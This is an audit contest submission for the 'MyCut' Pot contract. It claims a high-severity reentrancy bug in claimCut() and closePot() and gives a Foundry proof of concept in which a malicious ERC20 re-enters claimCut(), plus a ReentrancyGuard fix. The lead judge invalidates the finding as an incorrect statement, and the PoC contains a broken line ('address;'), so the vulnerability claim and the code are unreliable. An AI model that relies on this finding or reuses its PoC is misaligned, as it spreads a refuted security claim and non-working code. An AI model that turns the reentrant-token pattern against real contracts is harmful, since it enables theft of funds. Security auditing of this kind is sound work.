MyCut

AI First Flight #8
Beginner FriendlyFoundry
EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

[H-2] Reentrancy Risk via Malicious Tokens During Reward Distribution

[H-2] Reentrancy Risk via Malicious Tokens During Reward Distribution

Description

  • Intended behavior:
    Each participant should only be able to claim their reward once, and pot closure should execute atomically without external interference.

  • Issue:
    The contract performs external token transfers in claimCut() and closePot() before fully locking state, without any reentrancy protection.

    If the reward token implements transfer hooks (e.g., ERC777) or is a malicious ERC20, the token contract can reenter the Pot contract during transfer() and call claimCut() or closePot() again.

@> i_token.transfer(player, reward); // external call without protection

Because no reentrancy guard is present, state variables such as hasClaimed, remainingRewards, or pot closure state can be manipulated mid‑execution, allowing multiple reward claims.


Risk

Likelihood

  • Occurs when:

    • ERC777 tokens are used (standardized hooks)

    • Custom or malicious ERC20 tokens are used

  • Lower likelihood when using trusted ERC20s (USDC, DAI, WETH)

Impact

  • Multiple reward claims by a single attacker

  • Corrupted reward accounting

  • Unexpected repeated execution of claimCut() or closePot()

  • Direct loss of funds

Severity

High (H)

While likelihood depends on token choice, the impact is critical (fund theft).
Industry-standard audits rate this class of issue as High severity.


Proof of Concept

Click to expand PoC
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {Test, console2} from "forge-std/Test.sol";
import {Pot} from "../src/Pot.sol";
contract ReentrantERC20 is IERC20 {
Pot public pot;
address public attacker;
mapping(address => uint256) public balances;
uint256 public attackCount;
constructor(address _attacker, uint256 amount) {
attacker = _attacker;
balances[address(this)] = amount;
}
function setPot(Pot _pot) external {
pot = _pot;
}
function totalSupply() external pure returns (uint256) {
return 1e18;
}
function balanceOf(address account) external view returns (uint256) {
return balances[account];
}
function transfer(address to, uint256 amount) external returns (bool) {
// Reenter during reward transfer
if (to == attacker && attackCount == 0) {
attackCount++;
pot.claimCut(); // Reentrant call
}
balances[msg.sender] -= amount;
balances[to] += amount;
return true;
}
function allowance(address, address) external pure returns (uint256) {
return 0;
}
function approve(address, uint256) external pure returns (bool) {
return true;
}
function transferFrom(address from, address to, uint256 amount) external returns (bool) {
balances[from] -= amount;
balances[to] += amount;
return true;
}
}
contract ReentrancyTest is Test {
address player1 = address(0xA);
address player2 = address(0xB);
uint256[] rewards = [2 ether, 2 ether];
function test_claimCut_Reentrancy() public {
ReentrantERC20 token = new ReentrantERC20(player1, 10 ether);
address;
players[0] = player1;
players[1] = player2;
Pot pot = new Pot(players, rewards, IERC20(token), 4 ether);
// Fund pot
vm.prank(address(token));
token.transfer(address(pot), 4 ether);
token.setPot(pot);
// Reentrancy triggered during claim
vm.prank(player1);
pot.claimCut();
uint256 balance = token.balanceOf(player1);
assertGt(balance, rewards[0], "Reentrancy allowed extra reward claim");
console2.log("Expected:", rewards[0]);
console2.log("Received:", balance);
}
}

Recommended Mitigation

Add reentrancy protection to all functions performing external token transfers.

+ import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
- contract Pot {
+ contract Pot is ReentrancyGuard {
- function claimCut() public {
+ function claimCut() public nonReentrant {
- function closePot() external onlyOwner {
+ function closePot() external onlyOwner nonReentrant {

Why this works

  • Prevents reentrant execution during token transfers

  • Enforces single-entry execution for reward distribution

  • Compatible with all ERC20 / ERC777 tokens

  • Industry‑standard mitigation


Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 1 day ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!